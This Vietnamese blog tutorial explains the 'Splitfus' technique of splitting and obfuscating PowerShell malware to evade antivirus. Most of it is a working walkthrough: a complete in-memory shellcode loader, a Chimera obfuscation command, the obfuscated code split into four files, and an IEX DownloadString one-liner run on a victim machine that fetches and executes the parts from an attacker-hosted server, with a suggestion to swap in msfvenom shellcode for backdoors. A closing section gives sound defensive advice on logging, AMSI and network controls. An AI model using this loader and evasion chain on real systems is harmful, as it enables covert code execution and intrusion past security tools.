Hiện nay, các hệ thống phòng thủ như Antivirus (AV) và Endpoint Detection & Response (EDR) ngày càng mạnh mẽ. Tuy nhiên, các nhóm hacker vẫn liên tục sáng tạo những kỹ thuật tinh vi để vượt qua lớp bảo vệ này. Một trong những kỹ thuật phổ biến đó là Splitfus. Đây là phương pháp chia nhỏ mã độc PowerShell và làm rối code (obfuscate), sau đó thực thi từng phần theo nhiều giai đoạn (staged delivery). Vậy vì sao kỹ thuật này lại hiệu quả đến vậy? Hãy cùng mình đi tìm hiểu nhé !
Tham gia kênh Telegram của AnonyViet 👉 Link 👈 |
Splitfus là gì ?
Splitfus (viết tắt của Split + Obfuscation) là kỹ thuật mà hacker sử dụng để:
- Chia nhỏ (split) mã độc PowerShell thành nhiều đoạn, ví dụ: malware1.ps1, malware2.ps1, malware3.ps1,…
- Làm rối (obfuscate) từng đoạn mã để tránh bị phân tích hoặc phát hiện bởi chữ ký của AV
- Thực thi theo nhiều giai đoạn (staged execution): Khi thực hiện tấn công, máy nạn nhân sẽ tải từng đoạn mã từ máy chủ hacker và chạy trực tiếp trong bộ nhớ, thay vì lưu toàn bộ payload trên đĩa. Đây là kiểu thực thường được biết đến với tên gọi multi-stage attack hoặc fileless malware
Tại sao Splitfus hiệu quả trong việc vượt qua Antivirus ?
- Giảm khả năng bị phát hiện theo chữ ký (signature-based detection)
- AV truyền thống dựa vào chữ ký hoặc mẫu mã độc. Khi mã độc được chia nhỏ và mã hóa, không có đoạn nào chứa toàn bộ payload, khiến việc phát hiện trở nên khó khăn
- Tránh quét tĩnh và sandbox
- Nếu toàn bộ payload nằm trong một file, AV dễ dàng phân tích trước khi chạy
- Với Splitfus, mã độc được tải động (on-demand) từ máy chủ hacker, nên môi trường sandbox khó tái hiện được toàn bộ quy trình
- Bypass AMSI (Antimalware Scan Interface)
- AMSI của Windows có khả năng quét nội dung PowerShell trước khi thực thi. Tuy nhiên, với Splitfus:
- Các đoạn mã nhỏ, obfuscated và tải động → khó bị AMSI phân tích đầy đủ
- Nhiều hacker còn kết hợp AMSI bypass với Splitfus để tăng hiệu quả
- Linh hoạt và dễ cập nhật
- Hacker có thể thay đổi một đoạn bất kỳ trên máy chủ mà không cần phát tán lại toàn bộ payload. Điều này khiến việc truy vết hoặc phát triển chữ ký AV trở nên khó hơn
Phần lý thuyết đơn giản ngắn gọn vậy thôi, bây giờ mình sẽ lấy ví dụ thực tế cho bạn dễ hình dung hơn cách kỹ thuật được thực hiện
Ví dụ thực tế
Nhiều chiến dịch tấn công APT và malware framework như Cobalt Strike, PowerShell Empire, Metasploit đã áp dụng cơ chế tương tự Splitfus để phát tán payload staged. Đây là xu hướng phổ biến trong các cuộc tấn công fileless hiện nay.
Được rồi, bây giờ cùng mình thử chạy 1 đoạn code Powershell sau: Write-Host “Invoke-Mimikatz” . Ồ bạn thấy đấy, Antivirus đã phát hiện và chặn đoạn mã này. Đây là chỉ 1 đoạn mã in ra chuỗi trên terminal mà tại sao lại bị chặn nhỉ ? Bởi vì nó chứa chuỗi ký tự “Invoke-Mimikatz”. Đây là một chữ ký (signature) cực kỳ nổi tiếng và đặc trưng của công cụ tấn công Mimikatz
Như vậy, các AV được cấu hình để chặn ngay lập tức bất kỳ đoạn mã nào chứa chữ ký nguy hiểm này, ngay cả ở giai đoạn sớm nhất, nhằm ngăn chặn mọi ý đồ tiềm tàng liên quan đến Mimikatz. Đây là một biện pháp phòng ngừa rủi ro.
Vậy là chúng ta đã biết cách AV được cấu hình, giờ hãy thử tách chuỗi “Invoke-Mimikatz” thành nhiều chuỗi ngắn khác nhau.
Như bạn thấy, dù tách chuỗi thành các phần nhỏ như “Invo”, “ke”, “-Mim”, “ikatz”, AV vẫn không phát hiện ra đoạn mã độc. Sau đó, khi chúng ta nối lại các chuỗi này trong quá trình thực thi kết quả vẫn là “Invoke-Mimikatz” nhưng đã vượt qua được hệ thống phát hiện của AV. Đây chính là ví dụ đơn giản nhất của kỹ thuật Splitfus
Bây giờ chúng ta cùng xem 1 ví dụ khai thác thực tế hơn với đoạn code Powershell sau, với file tên là sc-original.ps1
[Byte[]] $shellcode = @(0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3) function LookupFunc { Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp = $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}} $handle = $assem.GetMethod('GetModuleHandle').Invoke($null, @($moduleName)); [IntPtr] $result = 0; try { Write-Host "First Invoke - $moduleName $functionName"; $result = $tmp[0].Invoke($null, @($handle, $functionName)); }catch { Write-Host "Second Invoke - $moduleName $functionName"; $handle = new-object -TypeName System.Runtime.InteropServices.HandleRef -ArgumentList @($null, $handle); $result = $tmp[0].Invoke($null, @($handle, $functionName)); } return $result; } function getDelegateType { Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void]) $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') return $type.CreateType() } $lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $lpMem, $shellcode.Length) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
Đây là đoạn mã Powershell thực thi Shellcode của calc.exe trên Windows, nếu chúng ta thực thi toàn bộ đoạn mã này thì sẽ bị AV chặn. Và lúc này mình sẽ áp dụng kĩ thuật Splitfus. Trước tiên mình sẽ sử dụng công cụ Chimera để xáo trộn đoạn mã này trở nên khó đọc hơn với câu lệnh sau
./chimera.sh -f sc-original.ps1 -l 3 -v -t -s -b -j -o sc-obf.ps1
Giờ đây, đoạn mã Powershell ban đầu đã được làm rối bằng cách thay đổi biến. Tiếp theo, mình sẽ chia tệp này thành nhiều phần nhỏ hơn để thực thi một cách rời rạc, khiến hệ thống bảo mật không thể phát hiện ra chữ ký đặc trưng của shellcode
Tiếp theo, mình chia tệp sc-obf.ps1 thành 4 tệp riêng biệt: sc1.ps1 ( chứa biến lưu trữ Shellcode ), sc2.ps1 ( chứa hàm LookupFunc đã làm rối ), sc3.ps1 ( chứa hàm getDelegateType đã làm rối ) và sc4.ps1 ( chứa 3 dòng code cuối cùng ). Mỗi phần này nếu bị quét riêng lẻ sẽ không gây cảnh báo từ AV. Đây là đoạn code đã xáo trộn và tách ra riêng biệt từng file như mình nói
#sc1.ps1 [Byte[]] $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe = @(0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3)
#sc2.ps1 function iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs { Param ($JzGCXcYJmJdQKoCerSqNXT, $LaHgzlZeSdXkwSwksNKHLbDEymlFp) $FTNFeBumwTgCKnnMPmVEdfKoaWinKHpxBMujd = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods') $jWwCsHjXRPShPEyyEBpzOw = $FTNFeBumwTgCKnnMPmVEdfKoaWinKHpxBMujd.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}} $aFUfleAnufbxjgylCpxMoZnlpUkts = $FTNFeBumwTgCKnnMPmVEdfKoaWinKHpxBMujd.GetMethod('GetModuleHandle').Invoke($null, @($JzGCXcYJmJdQKoCerSqNXT)); [IntPtr] $XHcKpPqwXEaSejzfchayBW = 0; try { Write-Host "First Invoke - $JzGCXcYJmJdQKoCerSqNXT $LaHgzlZeSdXkwSwksNKHLbDEymlFp"; $XHcKpPqwXEaSejzfchayBW = $jWwCsHjXRPShPEyyEBpzOw[0].Invoke($null, @($aFUfleAnufbxjgylCpxMoZnlpUkts, $LaHgzlZeSdXkwSwksNKHLbDEymlFp)); }catch { Write-Host "Second Invoke - $JzGCXcYJmJdQKoCerSqNXT $LaHgzlZeSdXkwSwksNKHLbDEymlFp"; $aFUfleAnufbxjgylCpxMoZnlpUkts = new-object -TypeName System.Runtime.InteropServices.HandleRef -ArgumentList @($null, $aFUfleAnufbxjgylCpxMoZnlpUkts); $XHcKpPqwXEaSejzfchayBW = $jWwCsHjXRPShPEyyEBpzOw[0].Invoke($null, @($aFUfleAnufbxjgylCpxMoZnlpUkts, $LaHgzlZeSdXkwSwksNKHLbDEymlFp)); } return $XHcKpPqwXEaSejzfchayBW; }
#sc3.ps1 function DdKSsQGFmFfVhpHEtVzHaZFCWQGs { Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $GVUAdTXmnEpoFzPorhRfka,[Parameter(Position = 1)] [Type] $RRqnOWxmsxKutFBpzSBCMlckCOfBNELkuuJsUOnHsB = [Void]) $YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $GVUAdTXmnEpoFzPorhRfka).SetImplementationFlags('Runtime, Managed') $YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $RRqnOWxmsxKutFBpzSBCMlckCOfBNELkuuJsUOnHsB, $GVUAdTXmnEpoFzPorhRfka).SetImplementationFlags('Runtime, Managed') return $YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.CreateType() }
#sc4.ps1 $WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs kernel32.dll VirtualAlloc),(DdKSsQGFmFfVhpHEtVzHaZFCWQGs @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe, 0, $WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH, $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe.Length) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs kernel32.dll CreateThread),(DdKSsQGFmFfVhpHEtVzHaZFCWQGs @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH,[IntPtr]::Zero,0,[IntPtr]::Zero)
Các bước để thực hiện kĩ thuật Splitfus này cũng rất đơn giản. Đầu tiên, mình sử dụng lệnh sau để khởi tạo server Python trên cổng 80 với địa chỉ IP là 192.168.1.17:
python3 -m http.server 80
Server này sẽ lưu các file script PowerShell đã tách nhỏ và làm rối, cho phép máy nạn nhân tải xuống từng phần riêng biệt.
Cuối cùng mình tạo 1 đoạn lệnh thực thi ngắn gọn để thực thi trên máy nạn nhân
1..4 | ForEach-Object { IEX (New-Object System.Net.WebClient).DownloadString("http://192.168.1.17/sc$_.ps1") }
Lệnh này sẽ tải xuống và thực thi từng file script từ sc1.ps1 đến sc4.ps1. Đây là cách hiệu quả để vượt qua các cơ chế phát hiện mã độc vì mỗi phần riêng lẻ có thể trông vô hại. Khi kết hợp lại, chúng tạo thành một cuộc tấn công hoàn chỉnh mà nhiều giải pháp bảo mật không thể phát hiện
Với Metasploit, việc tạo shellcode trở nên dễ dàng hơn rất nhiều. Mình sẽ sử dụng lệnh msfvenom để tạo ra shellcode mới, sau đó thay thế vào script sc1.ps1. Điều này cho phép mình tùy biến cuộc tấn công theo nhiều hướng khác nhau, từ lấy quyền điều khiển máy tính nạn nhân đến đánh cắp thông tin hoặc cài đặt backdoor
Và đó là những ví dụ đơn giản, nhưng thực tế, mã độc PowerShell không hề đơn giản như vậy. Các hacker sẽ phải dùng thêm kĩ thuật Bypass AMSI để tăng tỉ lệ thành công
Cách phòng thủ trước kỹ thuật Splitfus
Kỹ thuật Splitfus là một trong những phương pháp tấn công bằng PowerShell tinh vi, khó phát hiện nếu hệ thống không được giám sát chặt chẽ. Để phòng thủ hiệu quả trước Splitfus, đội ngũ an ninh mạng cần triển khai đồng bộ nhiều biện pháp chủ động, từ việc giám sát hành vi cho đến xây dựng hệ thống cảnh báo sớm và đào tạo người dùng cuối.
Tăng cường giám sát PowerShell
PowerShell là công cụ thường bị lạm dụng trong các cuộc tấn công hiện đại. Để theo dõi hoạt động bất thường, hệ thống cần bật tính năng ghi nhật ký Script Block Logging (sử dụng Event ID 4104) kết hợp với Module Logging. Những thiết lập này giúp lưu lại toàn bộ lệnh PowerShell đã được thực thi, kể cả khi đã bị làm rối mã (obfuscate). Ngoài ra, nên kích hoạt chế độ Constrained Language Mode để hạn chế việc sử dụng các lệnh nguy hiểm trong môi trường thực thi PowerShell.
Kích hoạt và bảo vệ AMSI (Antimalware Scan Interface)
AMSI là lớp phòng vệ quan trọng giúp phân tích mã trước khi được thực thi trong PowerShell. Việc đảm bảo AMSI luôn được bật và không bị vượt qua (bypass) là điều thiết yếu. Khi tích hợp cùng Microsoft Defender hoặc các giải pháp EDR có hỗ trợ quét AMSI, khả năng phát hiện mã độc bị làm rối sẽ được nâng cao rõ rệt, giúp ngăn chặn sớm các hành vi tấn công từ Splitfus.
Kiểm tra hành vi tải động trong hệ thống
Một đặc điểm thường thấy của Splitfus là sử dụng các tham số nguy hiểm trong PowerShell như EncodedCommand hoặc gọi hàm IEX để tải mã từ xa thông qua chuỗi như (New-Object Net.WebClient).DownloadString. Hệ thống EDR hoặc HIDS cần được cấu hình để nhận diện những hành vi này. Đồng thời, cần cảnh giác khi phát hiện script được tải về từ domain không đáng tin cậy, đặc biệt là các yêu cầu HTTP GET chứa tập tin đuôi .ps1.
Thiết lập kiểm soát truy cập mạng chặt chẽ
Kiểm soát truy cập mạng đóng vai trò quan trọng trong việc ngăn chặn Splitfus giao tiếp với máy chủ điều khiển (C2 server). Cần chủ động chặn các kết nối outbound đến địa chỉ IP hoặc domain nghi ngờ. Việc cấu hình proxy kết hợp với kiểm tra TLS (TLS inspection) sẽ giúp phát hiện các hành vi tải mã ẩn dưới kết nối được mã hóa. Bên cạnh đó, cập nhật liên tục các chỉ số tấn công (IOC) từ nguồn Threat Intelligence Feed sẽ nâng cao khả năng nhận diện và phản ứng kịp thời.
Cuối cùng, yếu tố con người luôn là mắt xích yếu nhất trong chuỗi phòng thủ. Việc tuyên truyền và đào tạo người dùng cuối nhằm nâng cao nhận thức bảo mật là điều bắt buộc. Nhân viên cần được hướng dẫn không chạy script từ các nguồn không rõ ràng. Đồng thời, kỹ năng nhận diện email giả mạo (phishing) cũng cần được chú trọng vì đây thường là điểm xuất phát của các cuộc tấn công Splitfus.